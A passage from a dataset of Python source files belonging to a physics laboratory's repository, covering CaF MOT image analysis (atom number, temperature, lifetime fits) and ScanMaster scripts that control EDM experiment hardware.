paramsDict[param]\n\n def singleImageNumberRange(self,fileNoStart,fileNoStop,fileNoBG,\n param='Frame0Trigger'):\n meanNoList=[]\n stdNoList=[]\n paramsValList=[]\n for fileNo in range(fileNoStart,fileNoStop+1):\n meanNo,stdNo,paramsVal=\\\n self.singleImageNumberWithBG(fileNo,fileNoBG,param)\n meanNoList.append(meanNo)\n stdNoList.append(stdNo)\n paramsValList.append(paramsVal)\n paramsValListSorted=np.sort(paramsValList)\n paramsValListSortIndex=np.argsort(paramsValList)\n meanNoListSorted=np.array(meanNoList)[paramsValListSortIndex]\n stdNoListSorted=np.array(stdNoList)[paramsValListSortIndex]\n return meanNoListSorted,stdNoListSorted,paramsValListSorted\n\n def twoImageNormalisedNumberWithBG(self,fileNo,fileNoBG,\n param='Frame0Trigger'):\n avgNormImageBG,avgMeasImageBG=self.getAvgImageFromTwoTriggerData(fileNoBG)\n normImages,measImages,paramsDict=self.getImagesFromTwoTriggerData(fileNo)\n normImagesSubBG=normImages-avgNormImageBG\n measImagesSubBG=measImages-avgMeasImageBG\n normNums=self.getMOTNumber(normImagesSubBG[1:])\n measNums=self.getMOTNumber(measImagesSubBG[1:])\n propsTrapped=measNums/normNums\n return np.mean(propsTrapped),\\\n np.std(propsTrapped)/np.sqrt(len(propsTrapped)),\\\n paramsDict[param]\n \n def twoImageNormalisedNumberRange(self,fileNoStart,fileNoStop,fileNoBG,\n param='Frame0Trigger'):\n meanNoList=[]\n stdNoList=[]\n paramsValList=[]\n for fileNo in range(fileNoStart,fileNoStop+1):\n meanNo,stdNo,paramsVal=self.twoImageNormalisedNumberWithBG(fileNo,\n fileNoBG,param)\n meanNoList.append(meanNo)\n stdNoList.append(stdNo)\n paramsValList.append(paramsVal)\n paramsValListSorted=np.sort(paramsValList)\n paramsValListSortIndex=np.argsort(paramsValList)\n paramsValListSorted=np.array(paramsValList)\n meanNoListSorted=np.array(meanNoList)#[paramsValListSortIndex]\n stdNoListSorted=np.array(stdNoList)#[paramsValListSortIndex]\n return meanNoListSorted,stdNoListSorted,paramsValListSorted\n\n def linearFit(self,x,y):\n f= lambda x,m,c: m*x+c\n m_trial=(y[-1]-y[0])/(x[-1]-x[0])\n c_trial=np.max(y) if m_trial<0 else np.min(y)\n popt,_=curve_fit(f,x,y,p0=[m_trial,c_trial])\n return f,popt[0],popt[1]\n \n def expFit(self,x,y):\n f= lambda x,a,c,s: a*np.exp(-(x-c)/s)\n a_trial=np.max(y)\n c_trial=x[np.argmax(y)]\n s_trial=np.abs((x[-1]-x[0])/np.log(np.abs(y[-1]/y[0])))\n popt,_=curve_fit(f,x,y,p0=[a_trial,c_trial,s_trial])\n return f,popt[0],popt[1],popt[2]\n\n def expFitOffset(self,x,y):\n f= lambda x,a,c,s,o: a*np.exp(-(x-c)/s)+o\n a_trial=np.max(y)\n o_trial=np.min(y)\n c_trial=x[np.argmax(y)]\n s_trial=np.abs((x[-1]-x[0])/np.log(np.abs(y[-1]/y[0])))\n popt,_=curve_fit(f,x,y,p0=[a_trial,c_trial,s_trial,o_trial])\n return f,popt[0],popt[1],popt[2],popt[3]\n\n def gaussianFit(self,x,y):\n f= lambda x,a,c,s: a*np.exp(-(x-c)**2/(2*s**2))\n loc_trial=np.argmax(y)\n a_trial=y[loc_trial]\n c_trial=x[loc_trial]\n s_trial=np.sqrt(np.abs(((x[int(loc_trial+4)]-c_trial)**2-\\\n (x[int(loc_trial)]-c_trial)**2)/\\\n (2*np.log(np.abs(y[int(loc_trial+4)]/y[int(loc_trial)])))))\n popt,_=curve_fit(f,x,y,p0=[a_trial,c_trial,s_trial])\n return f,popt[0],popt[1],popt[2]\n\n def numberFit(self,meanNos,paramVals,fitType,N_interpolate):\n valdict={}\n valdict['paramValsInterpolated']=np.linspace(np.min(paramVals),\n np.max(paramVals),N_interpolate)\n if fitType=='lin':\n valdict['numberLin'],valdict['m'],valdict['c']=\\\n self.linearFit(paramVals,meanNos)\n valdict['meanNosInterpolated']=\\\n valdict['numberLin'](valdict['paramValsInterpolated'],\n valdict['m'],valdict['c'])\n elif fitType=='exp':\n valdict['numberExp'],valdict['a'],valdict['c'],valdict['s']=\\\n self.expFit(paramVals,meanNos)\n valdict['meanNosInterpolated']=\\\n valdict['numberExp'](valdict['paramValsInterpolated'],\n valdict['a'],valdict['c'],valdict['s'])\n elif fitType=='gauss':\n valdict['numberGauss'],valdict['a'],valdict['c'],valdict['s']=\\\n self.gaussianFit(paramVals,meanNos)\n valdict['meanNosInterpolated']=\\\n valdict['numberGauss'](valdict['paramValsInterpolated'],\n valdict['a'],valdict['c'],valdict['s'])\n return valdict\n\n def number(self,fileNoStart,fileNoStop,fileNoBG,param,trigType,\n fit,fmt,fitType,N_interpolate,extParam,extParamVals):\n valdict={}\n if trigType=='single':\n meanNos,stdNos,paramVals=\\\n self.singleImageNumberRange(fileNoStart,fileNoStop,fileNoBG,param)\n else:\n meanNos,stdNos,paramVals=\\\n self.twoImageNormalisedNumberRange(fileNoStart,fileNoStop,\n fileNoBG,param)\n '''fig, ax = plt.subplots()\n if len(extParamVals):\n paramVals=np.array(extParamVals)\n param=extParam\n ax.errorbar(paramVals,meanNos,yerr=stdNos,fmt=fmt)\n if fit:\n valdictFit=self.numberFit(meanNos,paramVals,fitType,\n N_interpolate)\n valdict.update(valdictFit)\n ax.plot(valdictFit['paramValsInterpolated'],\n valdictFit['meanNosInterpolated'],'-r')\n ax.xaxis.set_minor_locator(AutoMinorLocator())\n ax.yaxis.set_minor_locator(AutoMinorLocator())\n ax.set_xlabel(param)\n ax.set_ylabel('MOT number')\n plt.show()'''\n valdict['meanNos']=meanNos\n valdict['paramVals']=paramVals\n valdict['stdNos']=stdNos\n return valdict\n\n def gaussianFitToCloud(self,imageArray):\n valdict={}\n peakPos=np.unravel_index(np.argmax(imageArray, axis=None), \n imageArray.shape)\n radialXLength=len(imageArray[peakPos[0],:])\n axialXLength=len(imageArray[:,peakPos[1]])\n radialX=self.pixelSize*1e6*np.arange(-radialXLength/2.0,\n radialXLength/2.0)\n axialX=self.pixelSize*1e6*np.arange(-axialXLength/2.0,\n axialXLength/2.0)\n radialY=imageArray[peakPos[0],:]\n axialY=imageArray[:,peakPos[1]]\n valdict['radialGaussian'],valdict['radialA'],valdict['radialC'],\\\n valdict['radialSigma']=self.gaussianFit(radialX,radialY)\n valdict['axialGaussian'],valdict['axialA'],valdict['axialC'],\\\n valdict['axialSigma']=self.gaussianFit(axialX,axialY)\n valdict['radialX']=radialX\n valdict['radialY']=radialY\n valdict['axialX']=axialX\n valdict['axialY']=axialY\n return valdict\n\n def gaussianFitToCloud2(self,imageArray):\n valdict={}\n radialY=np.sum(imageArray,axis=0)\n axialY=np.sum(imageArray,axis=1)\n radialYLength=len(radialY)\n axialYLength=len(axialY)\n radialX=self.pixelSize*(self.binSize/self.magFactor)*np.arange(0,radialYLength)\n axialX=self.pixelSize*(self.binSize/self.magFactor)*np.arange(0,axialYLength)\n valdict['radialGaussian'],valdict['radialA'],valdict['radialC'],\\\n valdict['radialSigma']=self.gaussianFit(radialX,radialY)\n valdict['axialGaussian'],valdict['axialA'],valdict['axialC'],\\\n valdict['axialSigma']=self.gaussianFit(axialX,axialY)\n valdict['radialX']=radialX\n valdict['radialY']=radialY\n valdict['axialX']=axialX\n valdict['axialY']=axialY\n return valdict\n\n def getTemperature(self,fileNoStart,fileNoStop,fileNoBG,param):\n valdict={}\n timeVals=[]\n radialSigmas=[]\n axialSigmas=[]\n bg,_=self.readFromZip(fileNoBG)\n valdictFits=[]\n for fileNo in range(fileNoStart,fileNoStop+1):\n imgs,paramsDict=self.readFromZip(fileNo)\n imgsSubBG=imgs-bg\n avgImage=np.mean(self.cropImages(imgsSubBG),axis=0)\n valdictFit=self.gaussianFitToCloud2(avgImage)\n timeVals.append(paramsDict[param])\n radialSigmas.append(valdictFit['radialSigma'])\n axialSigmas.append(valdictFit['axialSigma'])\n valdictFits.append(valdictFit)\n valdict['valdictFits']=valdictFits\n valdict['axialSigmas']=np.array(axialSigmas)\n valdict['radialSigmas']=np.array(radialSigmas)\n valdict['timeVals']=np.array(timeVals)*1e-5\n valdict['axialLin'],valdict['axialM'],valdict['axialC']=\\\n self.linearFit(valdict['timeVals']**2,valdict['axialSigmas']**2)\n valdict['radialLin'],valdict['radialM'],valdict['radialC']=\\\n self.linearFit(valdict['timeVals']**2,valdict['radialSigmas']**2)\n return valdict\n\n def temperature(self,fileNoStart,fileNoStop,fileNoBG,N_interpolate,\n param,showFits=True,cols=4):\n valdict=self.getTemperature(fileNoStart,fileNoStop,fileNoBG,param)\n valdict['axialTemp']=valdict['axialM']*(59*cn.u/cn.k)*1e3\n valdict['radialTemp']=valdict['radialM']*(59*cn.u/cn.k)*1e3\n timeValsInterpolated=np.linspace(np.min(valdict['timeVals']),\n np.max(valdict['timeVals']),\n N_interpolate)\n fig, ax = plt.subplots(1,2)\n ax[0].plot(valdict['timeVals']**2*1e6,valdict['radialSigmas']**2*1e6,'ok')\n ax[1].plot(valdict['timeVals']**2*1e6,valdict['axialSigmas']**2*1e6,'ok')\n ax[0].plot(timeValsInterpolated**2*1e6,\n valdict['radialLin'](timeValsInterpolated**2,\n valdict['radialM'],\n valdict['radialC'])*1e6,'-r')\n ax[1].plot(timeValsInterpolated**2*1e6,\n valdict['axialLin'](timeValsInterpolated**2,\n valdict['axialM'],\n valdict['axialC'])*1e6,'-r')\n ax[0].set_title('Tr: {0:2.4f} [mK]'.format(valdict['radialTemp']))\n ax[1].set_title('Ta: {0:2.4f} [mK]'.format(valdict['axialTemp']))\n ax[1].yaxis.tick_right()\n ax[1].yaxis.set_label_position(\"right\")\n for axis in ax:\n axis.xaxis.set_minor_locator(AutoMinorLocator())\n axis.yaxis.set_minor_locator(AutoMinorLocator())\n axis.set_xlabel('time^2 [ms^2]')\n axis.set_ylabel('size^2 [mm^2]')\n valdict['timeValsInterpolated']=timeValsInterpolated\n if showFits:\n l=len(valdict['valdictFits'])\n for k in range(l):\n fig, ax = plt.subplots(1,1)\n valdictK=valdict['valdictFits'][k]\n ax.plot(valdictK['radialX'],valdictK['radialY'],'ob')\n ax.plot(valdictK['axialX'],valdictK['axialY'],'og')\n ax.plot(valdictK['radialX'],\n valdictK['radialGaussian'](valdictK['radialX'],\n valdictK['radialA'],\n valdictK['radialC'],\n valdictK['radialSigma']),'-r')\n ax.plot(valdictK['axialX'],\n valdictK['axialGaussian'](valdictK['axialX'],\n valdictK['axialA'],\n valdictK['axialC'],\n valdictK['axialSigma']),'-k')\n plt.show()\n return valdict\n\n def getSize(self,fileNoStart,fileNoStop,fileNoBG,param):\n valdict={}\n paramVals=[]\n radialSigmas=[]\n axialSigmas=[]\n bg,_=self.readFromZip(fileNoBG)\n valdictFits=[]\n for fileNo in range(fileNoStart,fileNoStop+1):\n imgs,paramsDict=self.readFromZip(fileNo)\n imgsSubBG=imgs-bg\n avgImage=np.mean(self.cropImages(imgsSubBG),axis=0)\n valdictFit=self.gaussianFitToCloud2(avgImage)\n paramVals.append(paramsDict[param])\n radialSigmas.append(valdictFit['radialSigma'])\n axialSigmas.append(valdictFit['axialSigma'])\n valdictFits.append(valdictFit)\n valdict['valdictFits']=valdictFits\n valdict['axialSigmas']=np.array(axialSigmas)\n valdict['radialSigmas']=np.array(radialSigmas)\n valdict['paramVals']=np.array(paramVals)#-np.min(paramVals))*1e-5\n return valdict\n\n def size(self,fileNoStart,fileNoStop,fileNoBG,N_interpolate,\n param,showFits=True,cols=4):\n valdict=self.getSize(fileNoStart,fileNoStop,fileNoBG,param)\n fig, ax = plt.subplots(1,2)\n ax[0].plot(valdict['paramVals'],valdict['radialSigmas'],'ok')\n ax[1].plot(valdict['paramVals'],valdict['axialSigmas'],'ok')\n return valdict\n\n def lifetime(self,fileNoStart,fileNoStop,fileNoBG,\n param,trigType,N_interpolate,fmt):\n valdict={}\n if trigType=='single':\n #param='Frame0Trigger'\n meanNos,stdNos,paramVals=\\\n self.singleImageNumberRange(fileNoStart,fileNoStop,fileNoBG,param)\n else:\n #param='Frame1Trigger'\n meanNos,stdNos,paramVals=\\\n self.twoImageNormalisedNumberRange(fileNoStart,fileNoStop,\n fileNoBG,param)\n offset=np.min(paramVals)/100.0\n paramVals=paramVals/100.0-offset\n fig, ax = plt.subplots()\n ax.errorbar(paramVals,meanNos,yerr=stdNos,fmt=fmt)\n valdictFit=self.numberFit(meanNos,paramVals,fitType='exp',\n N_interpolate=200)\n ax.plot(valdictFit['paramValsInterpolated'],\n valdictFit['meanNosInterpolated'],'-r')\n ax.xaxis.set_minor_locator(AutoMinorLocator())\n ax.yaxis.set_minor_locator(AutoMinorLocator())\n ax.set_xlabel(param+' [ms] [offset: {}]'.format(offset))\n ax.set_ylabel('MOT number')\n ax.set_title('Lifetime: {0:.2f} ms'.format(valdictFit['s']))\n plt.show()\n valdict['meanNos']=meanNos\n valdict['paramVals']=paramVals\n valdict.update(valdictFit)\n return valdict\n\n def viewImages(self,fileNoStart,fileNoStop,fileNoBG,cols=4):\n l=(fileNoStop+1)-fileNoStart\n rows=np.int(np.ceil(l/float(cols)))\n fig, ax = plt.subplots(rows,cols)\n avgImages=[]\n bg,_=self.readFromZip(fileNoBG)\n for fileNo in range(fileNoStart,fileNoStop+1):\n imgs,_=self.readFromZip(fileNo)\n imgsSubBG=imgs-bg\n avgImage=np.mean(self.cropImages(imgsSubBG),axis=0)\n avgImages.append(avgImage)\n \n if rows>1 and cols>1:\n k=0\n while k<l:\n ax[np.int(k/cols),np.mod(k,cols)].imshow(avgImages[k])\n k+=1\n for row in range(rows):\n for col in range(cols):\n ax[row,col].axis('off')\n else:\n k=0\n while k<l:\n ax[np.mod(k,cols)].imshow(avgImages[k])\n k+=1\n longer=np.max([rows,cols])\n for axis in range(longer):\n ax[axis].axis('off')\n plt.show()\n\n def lifetimeSingleShot(self,fileNo,shotsPerImage,dt,t0=0,showFits=True):\n images,_=self.readFromZip(fileNo,dstr='C')\n noShots=len(images)/shotsPerImage\n t=np.array([t0+i*dt for i in range(shotsPerImage)])*1e-5\n tI=np.linspace(np.min(t),np.max(t),100)*1e3\n lifetimes=[]\n for i in range(noShots):\n imageArray=images[i:i+shotsPerImage,:,:]\n N=self.getMOTNumber(imageArray)\n f,a,c,s=self.expFit(t,N)\n lifetimes.append(s)\n if showFits:\n _,ax=plt.subplots()\n ax.plot(t*1e3,N,'ok',tI,f(tI,a,c,s),'-r')\n ax.set_xlabel('time in ms')\n ax.set_ylabel('MOT Number')\n ax.set_title('lifetime: {0:.2} in ms'.format(s*1e3))\n plt.show()\n meanLifetime=np.mean(lifetimes)*1e3\n stdLifetime=np.std(lifetimes)/np.sqrt(shotsPerImage)*1e3\n print 'Mean lifetime: {0:.2}, std: {0:.2} in ms'.format(meanLifetime,stdLifetime)\n return meanLifetime,stdLifetime\n\n \n \n \n\n\n def __call__(self,fileNoStart,fileNoStop,fileNoBG,\n requirement='Number',\n param='Frame0Trigger',\n trigType='single',\n fit=False,fitType='lin',\n N_interpolate=200,\n extParam='give a name',\n extParamVals=[],\n fmt='ok',\n showFits=False,\n preferredUnits=['um','mK','ms'],\n imageCols=4):\n if requirement=='Number':\n return self.number(fileNoStart,fileNoStop,fileNoBG,param,trigType,\n fit,fmt,fitType,N_interpolate,extParam,extParamVals)\n elif requirement=='Temperature':\n return self.temperature(fileNoStart,fileNoStop,fileNoBG,\n N_interpolate,param,showFits,imageCols)\n elif requirement=='Lifetime':\n return self.lifetime(fileNoStart,fileNoStop,fileNoBG,param,\n trigType,N_interpolate,fmt)\n elif requirement=='Image':\n self.viewImages(fileNoStart,fileNoStop,fileNoBG,imageCols)\n\ndef defaultCaF():\n \"\"\"\n Default settings for CaF analysis\\n\n return : Analysis object with settings, \\n\n analysis.bitDepth=16 \\n\n analysis.fullWellCapacity=18000 \\n\n analysis.collectionSolidAngle=0.023 \\n\n analysis.pixelSize=6.45e-6 \\n\n analysis.binSize=8 \\n\n analysis.bitsPerChannel=12 \\n\n analysis.gamma=1.5e6 \\n\n analysis.etaQ=0.65 \\n\n analysis.exposureTime=10e-3 \\n\n analysis.cropCentre=(74,64) \\n\n analysis.cropHeight=100 \\n\n analysis.cropWidth=110 \\n \n Change any of the values in the object instance using \\n\n instanceName.propertyName=propertyValue \\n\n Add also,\\n\n analysis.dirPath=path to the data directory \\n\n analysis.fileNameString=starting name of the files before underscore \\n\n Example:\\n\n analysis=defaultCaF() \\n\n analysis.exposureTime=10e-3 \\n\n analysis.dirPath='../../data/MOTMasterData' \\n\n analysis.fileNameString='CaF16Jan1900' \\n\n \"\"\"\n analysis=Analysis()\n analysis.bitDepth=16\n analysis.fullWellCapacity=18000\n analysis.collectionSolidAngle=0.023\n analysis.pixelSize=6.45e-6\n analysis.binSize=8\n analysis.magFactor=0.5\n analysis.bitsPerChannel=12\n analysis.gamma=1.5e6\n analysis.etaQ=0.65\n analysis.exposureTime=10e-3\n analysis.cropCentre=(74,64)\n analysis.cropHeight=100\n analysis.cropWidth=110\n return analysis\n\n\nif __name__=='__main__':\n analysis=defaultCaF()\n analysis.dirPath='../../data/temperature'\n analysis.fileNameString='CaF16Jan1900'\n a=analysis(fileNoStart=25,\n fileNoStop=30,\n fileNoBG=31,\n requirement='Number',\n param='ExpansionTime',\n fit=True,fitType='exp',\n trigType='single',\n N_interpolate=200,\n extParam='Test',\n extParamVals=[],\n fmt='ok',\n showFits=True,\n imageCols=4)\n \n\n \n\n\n", "id": "10367545", "language": "Python", "matching_score": 7.6642842292785645, "max_stars_count": 6, "path": "MoleculeMOTScripts/analysis.py" }, { "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 19 07:43:49 2019\n\n@author: arijit\n\"\"\"\n\nimport numpy as np\nimport os,zipfile\nfrom PIL import Image\nfrom scipy.optimize import curve_fit\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import AutoMinorLocator\nimport scipy.constants as cn\nimport re\n\ndef atoi(text):\n return int(text) if text.isdigit() else text\n\ndef natural_keys(text):\n return [atoi(c) for c in re.split(r'(\\d+)', text) ]\n \ndef injector(fileNoStart,fileNoStop,NoImages,\n fileNameString=\"CaF18Jul1900\",\n remotePath=\"//PH-TEW105/Users/rfmot/Desktop/AbsImages/\",\n dirPath=\"C:/Users/cafmot/Box Sync/CaF MOT/MOTData/MOTMasterData/\"):\n imgs=os.listdir(remotePath)\n imgs.sort(key=natural_keys)\n if len(imgs)==(fileNoStop-fileNoStart+1)*NoImages:\n print 'Inserting images to the zip files...'\n l=0\n for fileNo in range(fileNoStart,fileNoStop+1):\n filepath=os.path.join(dirPath,fileNameString+'_'+str(fileNo).zfill(3)+'.zip')\n with zipfile.ZipFile(filepath, 'a') as archive:\n files=archive.namelist()\n for _ in range(NoImages):\n if imgs[l] not in files:\n archive.write(os.path.join(remotePath,imgs[l]),imgs[l])\n l+=1\n for img in imgs:\n os.remove(os.path.join(remotePath,img))\n elif len(imgs)==0:\n print 'No Image to insert'\n elif len(imgs)<(fileNoStart-fileNoStop+1)*NoImages:\n print 'There are less number of images than required!'\n elif len(imgs)>(fileNoStart-fileNoStop+1)*NoImages:\n print 'There are more images than expected!'", "id": "2471196", "language": "Python", "matching_score": 0.30852842330932617, "max_stars_count": 6, "path": "MoleculeMOTScripts/helper.py" }, { "content": "# Switch between four states (INT PHASE, MW DET B)\n# INT PHASE can be 0 (TRUE) or pi/2 (FALSE)\n# MW DET B can be on (TRUE) or off (FALSE)\n\nfrom DAQ.Environment import *\n\ndef prompt(text):\n\tsys.stdout.write(text)\n\treturn sys.stdin.readline().strip()\n\ndef go(intPhaseZeroVoltage, intPhasePiBy2Voltage):\n\t# prompt to enter det A microwave powers\n\tmwpowers_input = prompt(\"Enter range of microwave mixer voltages in V: \")\n\tmwpowers = mwpowers_input.split(\",\")\n\n\tfor j in range(len(mwpowers)):\n\t\t# setup det A microwaves\n\t\tprint \"Microwaves in det A set to mixer voltage of \" + mwpowers[j] + \"V.\"\n\t\thc.UpdateBottomProbeMicrowaveMixerV(float(mwpowers[j]))\n\t\t\n\t\t# setup file saving\n\t\tfileSystem = Environs.FileSystem\n\t\tfile = \\\n\t\t\tfileSystem.GetDataDirectory(\\\n\t\t\t\t\t\tfileSystem.Paths[\"scanMasterDataPath\"])\\\n\t\t\t+ fileSystem.GenerateNextDataFileName()\n\t\tprint(\"Saving as \" + file + \"_*_*.zip\")\n\t\tprint(\"\")\n\n\t\tfor k in range(len(mwpowers)):\n\t\t\t# setup det B microwaves\n\t\t\tprint \"Microwaves in det B set to mixer voltage of \" + mwpowers[k] + \"V.\"\n\t\t\thc.UpdateTopProbeMicrowaveMixerV(float(mwpowers[k]))\n\t\t\t# choose state, then scan\n\t\t\tfor i in range(4):\n\t\t\t\t[intPhaseState, mwDetState] = [bool(int(x)) for x in list(\"{0:02b}\".format(i))]\n\t\t\t\tsetState(intPhaseState, mwDetState, intPhaseZeroVoltage, intPhasePiBy2Voltage)\n\t\t\t\tsm.AcquireAndWait(1)\n\t\t\t\tscanPath = file + \"_\" + str(k) + \"_\" + str(i) + \".zip\"\n\t\t\t\tsm.SaveAverageData(scanPath)\n\ndef setState(intPhaseState, mwDetState, intPhaseTrue, intPhaseFalse):\n\t# set hardware to reflect state\n\tif intPhaseState:\n\t\thc.SetScanningBVoltage(intPhaseTrue)\n\t\tprint \"Setting voltage on scanning B box to \" + str(intPhaseTrue) + \" V.\"\n\telse:\n\t\thc.SetScanningBVoltage(intPhaseFalse)\n\t\tprint \"Setting voltage on scanning B box to \" + str(intPhaseFalse) + \" V.\"\n\n\tif mwDetState:\n\t\thc.SwitchMwAndWait(True)\n\t\tprint \"Setting microwaves to F=0/F=1 in bottom/top detector.\"\n\telse:\n\t\thc.SwitchMwAndWait(False)\n\t\tprint \"Setting microwaves to F=1/F=0 in bottom/top detector.\"\n\ndef run_script():\n\tprint \"go(intPhaseZeroVoltage, intPhasePiBy2Voltage)\"\n\n", "id": "10553732", "language": "Python", "matching_score": 5.162598133087158, "max_stars_count": 6, "path": "EDMScripts/OptimiseDetMwVoltages.py" }, { "content": " #Get ScanMaster to take B scans while I scan microwave power in both detectors\n\nfrom DAQ.Environment import *\n\ndef prompt(text):\n\tsys.stdout.write(text)\n\treturn sys.stdin.readline().strip()\n\ndef scanMicrowaves(numScans):\n\tmwpowers_input = prompt(\"Enter range of microwave mixer voltages in V: \")\n\tmwpowers = mwpowers_input.split(\",\")\n\n\tfileSystem = Environs.FileSystem\n\tfile = \\\n\t\tfileSystem.GetDataDirectory(\\\n\t\t\t\t\tfileSystem.Paths[\"scanMasterDataPath\"])\\\n\t\t+ fileSystem.GenerateNextDataFileName()\n\tprint(\"Saving as \" + file + \"_*.zip\")\n\tprint(\"\")\n\n\tfor i in range(len(mwpowers)):\n\t\tprint \"HC: bottomProbeMwPower -> \" + mwpowers[i]\n\t\tprint \"HC: topProbeMwPower -> \" + mwpowers[i]\n\t\thc.UpdateBottomProbeMicrowaveMixerV(float(mwpowers[i]))\n\t\thc.UpdateTopProbeMicrowaveMixerV(float(mwpowers[i]))\n\t\tsm.AcquireAndWait(numScans)\n\t\tscanPath = file + \"_\" + str(i) + \".zip\"\n\t\tsm.SaveAverageData(scanPath)\n\ndef run_script():\n\tprint \"scanMicrowaves(numScans)\"\n\n", "id": "9684079", "language": "Python", "matching_score": 3.123305082321167, "max_stars_count": 6, "path": "EDMScripts/ScanMwPowerBScans.py" }, { "content": "# MapLoop - asks ScanMaster to make a series of scans with one of the pg\n# parameters incremented scan to scan\n\nfrom DAQ.Environment import *\n\ndef aquireWithEFlipPattern(numScans, scansPerSwitch):\n\t# setup\n\tfileSystem = Environs.FileSystem\n\tfile = \\\n\t\tfileSystem.GetDataDirectory(\\\n\t\t\t\t\tfileSystem.Paths[\"scanMasterDataPath\"])\\\n\t\t+ fileSystem.GenerateNextDataFileName()\n\tprint(\"Saving as \" + file + \"_*.zip\")\n\tprint(\"\")\n\t\n\tpattern = \n\tprint(pattern)\n\n\t# start looping\n\tr = range(numScans)\n\tfor i in range(len(r)):\n\t\tprint \"Scan Number: \" + str(r[i])\n\t\tsm.AcquireAndWait(1)\n\t\tscanPath = file + \"_\" + str(i) + \".zip\"\n\t\tsm.SaveAverageData(scanPath)\n\t\tif pattern[i] == 0:\n\t\t\tprint(\"No E Switch\")\n\t\telse:\n\t\t\tprint(\"Switching E\")\n\t\t\thc.SwitchEAndWait()\n\t\t#raw_input(\"unplug the rf cable\")\n\ndef run_script():\n\tprint \"Use aquireWithEFlipPattern(numScans, scansPerSwitch)\"\n\n", "id": "11316810", "language": "Python", "matching_score": 4.990734100341797, "max_stars_count": 6, "path": "EDMScripts/OldScripts/AquireWithESwitchPattern.py" }, { "content": "# asks ScanMaster to make a series of B scans\n\nfrom DAQ.Environment import *\nfrom System.Threading import *\n\ndef Run(interval, numScans, scansperEstate):\n\t# setup\n\tfileSystem = Environs.FileSystem\n\tfile = \\\n\t\tfileSystem.GetDataDirectory(\\\n\t\t\t\t\tfileSystem.Paths[\"scanMasterDataPath\"])\\\n\t\t+ fileSystem.GenerateNextDataFileName()\n\tprint(\"Saving as \" + file + \"_*.zip\")\n\tprint(\"Selecting profile Scan B\")\n\tsm.SelectProfile(\"Scan B\")\n\tprint(\"running...\")\n\t# start looping\n\tr = list\n\tfor i in range(numScans):\n\t\tprint str(i)+\"th scan of B\"\n\t\tsm.AcquireAndWait(1)\n\t\tscanPath = file + \"_\" + str(i) + \".zip\"\n\t\tsm.SaveAverageData(scanPath)\n\t\tif (((i+1) % scansperEstate) == 0):\n\t\t\tprint(\"Switching E \")\n\t\t\thc.SwitchEAndWait()\n\t\tSystem.Threading.Thread.Sleep(interval*1000)\t\n\ndef run_script():\n\tprint \"Use Run(interval (s), numScans, scansperEstate)\"\n\n\n", "id": "8886716", "language": "Python", "matching_score": 3.792617082595825, "max_stars_count": 6, "path": "EDMScripts/OldScripts/PeriodiclyScanBwithEflip.py" }, { "content": "# MapThreadLoop - asks ScanMaster to make a series of scans with two of the pg\n# parameters incremented scan to scan\n\nfrom DAQ.Environment import *\n\ndef mapThreadLoop(plugin1, param1, file1Loc, plugin2, param2, file2Loc, numScans):\n\t# setup\n\tfileSystem = Environs.FileSystem\n\tfile = \\\n\t\tfileSystem.GetDataDirectory(\\\n\t\t\t\t\tfileSystem.Paths[\"scanMasterDataPath\"])\\\n\t\t+ fileSystem.GenerateNextDataFileName()\n\tprint(\"Saving as \" + file + \"_*.zip\")\n\tprint(\"\")\n\t\n\tlist1 = [line.strip() for line in open(file1Loc)]\n\tlist2 = [line.strip() for line in open(file2Loc)]\n\t\n\t# assume both files are of equal length (they should be!!!)\n\t# start looping\n\tfor i in range(len(list1)):\n\t\tprint plugin1 + \":\" + param1 + \" -> \" + list1[i]\n\t\tprint plugin2 + \":\" + param2 + \" -> \" + list2[i]\n\t\tsm.AdjustProfileParameter(plugin1, param1, list1[i], False)\n\t\tsm.AdjustProfileParameter(plugin2, param2, list2[i], False)\n\t\tsm.AcquireAndWait(numScans)\n\t\tscanPath = file + \"_\" + str(i) + \".zip\"\n\t\tsm.SaveAverageData(scanPath)\n\ndef run_script():\n\tprint \"Use mapThreadLoop(plugin1, param1, file1Loc, pugin2, param2, file2Loc, numScans):\"\n\tprint \"\\\"plugin\\\", \\\"param\\\" must be in double quotes!\"\n\tprint \"\"\n\tprint \"Two apropriate txt files must be present which contain the two lists which will be mapped over\"\n\n", "id": "3998165", "language": "Python", "matching_score": 4.221904277801514, "max_stars_count": 6, "path": "EDMScripts/OldScripts/MapThreadLoop.py" }, { "content": "# MapLoop - asks ScanMaster to make a series of scans with one of the pg\n# parameters incremented scan to scan\n\nfrom DAQ.Environment import *\n\ndef mapLoop(start, end, step, numScans):\n\t# setup\n\tfileSystem = Environs.FileSystem\n\tfile = \\\n\t\tfileSystem.GetDataDirectory(\\\n\t\t\t\t\tfileSystem.Paths[\"scanMasterDataPath\"])\\\n\t\t+ fileSystem.GenerateNextDataFileName()\n\tprint(\"Saving as \" + file + \"_*.zip\")\n\tprint(\"\")\n\t# start looping\n\tr = range(start, end, step)\n\tmodes = [\"up\",\"down\"]\n\tamps =[\"10.2873\", \"7.45664\", \"4.28028\", \"1.51244\", \"-0.672201\", \"-2.33717\", \"-3.81608\", \"-4.82957\", \"-5.73749\", \"-6.36283\", \"-6.88332\", \"-7.30834\", \"-7.67567\", \"-7.81202\", \"-7.89538\", \"-7.80834\", \"-7.63106\", \"-7.40025\", \"-7.00398\", \"-6.50694\", \"-5.82152\", \"-4.96511\", \"-3.89361\", \"-2.47886\", \"-0.668273\", \"1.72046\", \"4.54244\", \"8.75399\", \"10.2873\", \"7.45664\", \"4.28028\", \"1.51244\", \"-0.672201\", \"-2.33717\", \"-3.81608\", \"-4.82957\", \"-5.73749\", \"-6.36283\", \"-6.88332\", \"-7.30834\", \"-7.67567\", \"-7.81202\", \"-7.89538\", \"-7.80834\", \"-7.63106\", \"-7.40025\", \"-7.00398\", \"-6.50694\", \"-5.82152\", \"-4.96511\", \"-3.89361\", \"-2.47886\", \"-0.668273\", \"1.72046\", \"4.54244\", \"8.75399\"]\n\tamps =[\"0.527805\", \"-2.16108\", \"-5.21073\", \"-7.11279\", \"-8.5493\", \"-9.75751\", \"-10.7639\", \"-11.5174\", \"-12.0689\", \"-12.4872\", \"-12.7709\", \"-12.9314\", \"-13.095\", \"-13.1304\", \"-13.0236\", \"-12.7866\", \"-12.3696\", \"-12.0129\", \"-11.3589\", \"-10.535\", \"-9.66376\", \"-8.55365\", \"-6.93337\", \"-4.66466\", \"-2.26597\", \"1.14551\", \"4.58811\", \"0.527805\", \"-2.16108\", \"-5.21073\", 